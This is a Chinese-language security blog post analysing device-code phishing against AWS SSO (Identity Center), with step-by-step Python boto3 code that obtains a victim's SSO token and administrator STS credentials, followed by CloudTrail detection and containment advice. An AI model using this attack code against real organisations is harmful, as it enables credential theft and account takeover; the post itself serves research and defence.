通过AWS SSO设备代码认证窃取AWS凭证的网络钓鱼技术

本文详细分析了AWS SSO设备代码认证机制存在的网络钓鱼风险,攻击者可通过此漏洞绕过MFA等安全控制,获取受害者AWS凭证。文章包含完整攻击步骤、技术实现代码和CloudTrail检测策略。

通过AWS SSO设备代码认证窃取AWS凭证的网络钓鱼技术(2024年更新)

在企业环境中使用AWS时,最佳实践要求使用单点登录服务进行身份和访问管理。AWS SSO(现称为"Identity Center")是一个流行的解决方案,可与Okta等第三方提供商集成,并允许集中管理多个AWS账户中的角色和权限。

在本文中,我们证明AWS SSO在设计上容易受到设备代码认证钓鱼攻击 - 就像任何实现OpenID Connect设备代码认证的身份提供商一样。该技术最初由Dr. Nestori Syynimaa为Azure AD演示。该功能为攻击者提供了强大的钓鱼向量,使MFA(包括Yubikeys)或IP白名单等控制措施在IdP级别失效。

本文的更改内容:

  • 2024年11月28日:确保附录中列出的CloudTrail事件仍然正确
  • 更新术语,提及AWS SSO现在名为AWS Identity Center
  • 添加说明,指出CloudTrail事件’sso:ListApplications’似乎不再记录受害者IP
  • 添加对CloudTrail事件’sso:GetRoleCredentials’的缺失引用

背景

AWS SSO

AWS SSO是AWS提供的一项服务,用于管理多个AWS账户的角色和身份。引用文档:

“通过AWS SSO,您可以轻松集中管理对所有AWS Organizations中账户的访问和用户权限。AWS SSO自动配置和维护账户的所有必要权限,无需在各个账户中进行任何额外设置。您可以根据常见工作职能分配用户权限,并自定义这些权限以满足特定的安全要求。”

AWS SSO中的身份来自AWS SSO身份存储本身。用户和组可以通过以下3种方式进入此身份存储:

  1. 手动添加到AWS SSO身份存储本身
  2. 从Active Directory自动同步到AWS SSO身份存储(单向同步)
  3. 从任何支持SAML的第三方身份提供商(如Okta)同步

从CLI使用AWS SSO

工程师面对AWS时会问的第一个问题是:如何从CLI使用它?作为安全人员,我们的重点通常是避免使用IAM用户,因为其凭证是长期有效的,并且安全管理工作十分困难。

这就是为什么AWS SSO实现了部分OAuth 2.0规范 - 刚好足以从CLI使用它:

“AWS SSO OpenID Connect(OIDC)服务目前仅实现OAuth 2.0设备授权授予标准(https://tools.ietf.org/html/rfc8628)中启用AWS CLI SSO认证所必需的部分。对本地应用程序经常需要的其他OIDC流(如授权代码流+PKCE)的支持将在未来版本中解决。”

从命令行使用AWS SSO在AWS CLI或aws-vault等工具中本地支持:

1
2
3
4
5
6
7
8
$ aws configure sso
SSO start URL [None]: https://my-sso-portal.awsapps.com/start
SSO region [None]: us-east-1

Using a browser, open the following URL:
https://device.sso.eu-central-1.amazonaws.com/
and enter the following code:
QCFK-N451

在此初始认证流程之后,您将看到您可以访问的AWS账户列表和可用的角色。

设备代码授予类型

底层发生的情况如下:

  1. 客户端应用程序(AWS CLI)通过调用sso-oidc:RegisterClient注册OIDC客户端
  2. 客户端应用程序调用sso-oidc:StartDeviceAuthorization,生成类似https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN的URL
  3. 最终用户打开链接并在其身份提供商上进行身份验证
  4. 最终用户接受提示后,客户端应用程序调用sso-oidc:CreateToken检索AWS SSO访问令牌

有了此访问令牌,客户端应用程序可以使用AWS SSO API,特别是:

  • 列出最终用户有权访问的所有AWS账户(sso:ListAccounts)
  • 列出最终用户在每个AWS账户中可用的所有角色(sso:ListAccountRoles)
  • 承担任何这些角色以检索临时STS凭证(sso:GetRoleCredentials)

使用AWS SSO设备代码进行钓鱼攻击

您可能已经发现:这是一个很好的钓鱼向量。除了使用合法的AWS网站外,它还使多因素认证、设备信任等企业级安全机制失效。

让我们展开这个场景。

步骤0:先决条件

攻击者需要提前知道受害者组织的AWS SSO URL,该URL看起来像.awsapps.com。这可以通过社会工程、猜测、子域名发现等方式找到。

步骤1:攻击者发起设备代码授权流程

使用Python的示例如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
    clientName = 'my-attacker',
    clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')

authz = sso_oidc.start_device_authorization(
    clientId=client_id,
    clientSecret=client_secret,
    startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

步骤2:攻击者向受害者发送设备授权URL

例如,通过网络钓鱼。受害者通过其通常的身份提供商(如Okta)进行身份验证。在通过所有身份提供商特定的检查(MFA、设备信任…)后,他们只需要接受以下提示。

步骤3:攻击者检索SSO访问令牌

一旦受害者接受提示,攻击者使用sso-oidc:CreateToken检索SSO访问令牌:

1
2
3
4
5
6
7
token_response = sso_oidc.create_token(
    clientId=client_id,
    clientSecret=client_secret,
    grantType="urn:ietf:params:oauth:grant-type:device_code",
    deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

此处检索的SSO访问令牌有效期为8小时。有足够的时间根据需要执行和重复后续步骤。

步骤4:攻击者使用SSO访问令牌访问AWS账户

拥有受害者的SSO访问令牌后,攻击者枚举受害者有权访问的AWS账户以及可用的角色:

1
aws_accounts = sso.list_accounts(accessToken=sso_token)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[
    {
        "accountId": "11xxxxxxxx",
        "accountName": "Dev account",
        "emailAddress": "my-dev-account@example.com"
    },
    {
        "accountId": "54xxxxxxx",
        "accountName": "Prod account",
        "emailAddress": "my-prod-account@example.com"
    }
]

然后,列出特定账户中可用的AWS SSO角色(“权限集”):

1
2
3
4
roles_response = sso.list_account_roles(
    accessToken=sso_token, 
    accountId="11xxxxxxxx"
)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[
    {
        "roleName": "AdministratorAccess",
        "accountId": "11xxxxxxxxxx"
    },
    {
        "roleName": "ViewOnlyAccess",
        "accountId": "11xxxxxxxxxx"
    }
]

最后,检索特定AWS账户中特定权限集的STS凭证:

1
2
3
4
5
sts_creds = sso.get_role_credentials(
    accessToken=sso_token,
    roleName='AdministratorAccess',
    accountId='11...'
)
1
2
3
4
5
6
{
    "accessKeyId": "ASIARW4JVWBODWMM5TMN",
    "secretAccessKey": "Ocq..m1T",
    "sessionToken": "IQoJb3..VTNA==",
    "expiration": 1622567348000
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ export AWS_ACCESS_KEY_ID=ASIARW4JVWBODWMM5TMN
$ export AWS_SECRET_ACCESS_KEY=Ocq..m1T
$ export AWS_SESSION_TOKEN=IQoJb3..VTNA==

$ aws sts get-caller-identity
{
    "UserId": "AROAR...:christophetd",
    "Account": "11xxxxxxxxxx",
    "Arn": "arn:aws:sts::11xxxxxxxxxx:assumed-role/AWSReservedSSO_AdministratorAccess_e3db84cb28e132d6/christophetd"
}

检测与预防

预防

这是一个功能,而不是错误。如果您使用AWS SSO,无法防止此类钓鱼攻击。也不可能使用SCP将sso-oidc:CreateToken调用限制为特定条件,因为此API调用是针对组织主账户执行的(不受SCP约束)。

攻击每个步骤的CloudTrail事件

在检测方面,对sso-oidc:RegisterClient和sso-oidc:StartDeviceAuthorization的初始调用不会记录到CloudTrail,因为它们是在没有身份验证的情况下执行的,并且不是针对组织的特定AWS账户。但CloudTrail确实提供了一些信息。

首先,sso:ListApplications在受害者显示"Sign-in to AWS CLI"弹出窗口的确切时间记录。

然后,一旦受害者接受提示并且攻击者检索受害者的AWS SSO访问令牌,sso-oidc:CreateToken被生成。

当攻击者枚举受害者通过AWS SSO有权访问的AWS账户时,sso:ListAccounts和sso:ListAccountRoles被记录。

然后,当攻击者为特定AWS账户和SSO权限集生成AWS凭证时,sso:GetRoleCredentials被记录。

总结:

攻击步骤 CloudTrail事件 源IP 备注
攻击者生成设备代码URL N/A
受害者显示"Sign-in with AWS CLI"提示 sso:ListApplications 受害者IP 截至2024年11月28日,此事件似乎不一定总是记录
受害者提交"Sign-in with AWS CLI"提示 N/A
攻击者检索受害者的AWS SSO访问令牌 sso-oidc:CreateToken 攻击者IP
攻击者枚举受害者的AWS账户和角色 sso:ListAccounts
sso:ListAccountRoles
攻击者IP
攻击者检索特定账户和权限集的AWS凭证 sso:GetRoleCredentials 攻击者IP

检测策略

以下是一些检测/伪预防的线索:

在电子邮件网关上阻止并警报device.sso..amazonaws.com链接

设备认证链接预计在本地生成。电子邮件中指向domain device.sso..amazonaws.com的链接应被视为高度可疑并进行调查。

当不同的源IP在短时间内生成sso:ListApplications和sso-oidc:CreateToken事件时发出警报

同样,由于设备代码预计在本地使用,有两个不同的IP地址显示"Sign-in with AWS CLI prompt"(受害者)和生成AWS SSO访问令牌(攻击者)是可疑的,应该是一个可行的检测策略。

当特定用户的sso:ListAccountRoles事件量异常高时发出警报

AWS SSO的正常使用(即通过UI或CLI)似乎生成非常少的sso:ListAccountRoles事件。这些事件数量的突然增加表明有人使用非标准方式枚举特定用户的所有AWS SSO权限,应被视为高度可疑。

对sso-oidc:CreateToken事件的异常源IP发出警报

如果您的工程师专门从位于内部网络的公司笔记本电脑向AWS进行身份验证,您可以标记sso-oidc:CreateToken事件中使用的任何外部源IP。这可能是设备代码钓鱼尝试成功的指标,指示的IP将是攻击者使用的IP。

遏制 - 撤销AWS SSO访问令牌

我们确定了一名员工使用此技术被钓鱼 - 或任何其他技术。我们如何响应?遏制的第一步是使攻击者检索的AWS SSO访问令牌无效。

不幸的是,在不知道SSO访问令牌值的情况下,没有文档记录的方法可以撤销它。在AWS SSO身份目录中手动禁用用户不会立即使其访问令牌无效。如果您使用第三方IdP(如Okta),情况也是如此;在Okta中禁用受损用户无济于事,如果攻击者已经窃取其AWS SSO访问令牌。

结论

可以说,设备代码认证对于为工程师提供良好的用户体验是必要的,这样他们就可以使用SSO从CLI工作。可以说,这比拥有数十个未管理的IAM用户风险要小得多。也就是说,重要的是要提醒组织不应将MFA等技术控制视为灵丹妙药,并继续投入时间构建最终用户的安全意识,并基于CloudTrail日志(但不限于)制作高价值的威胁检测用例。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计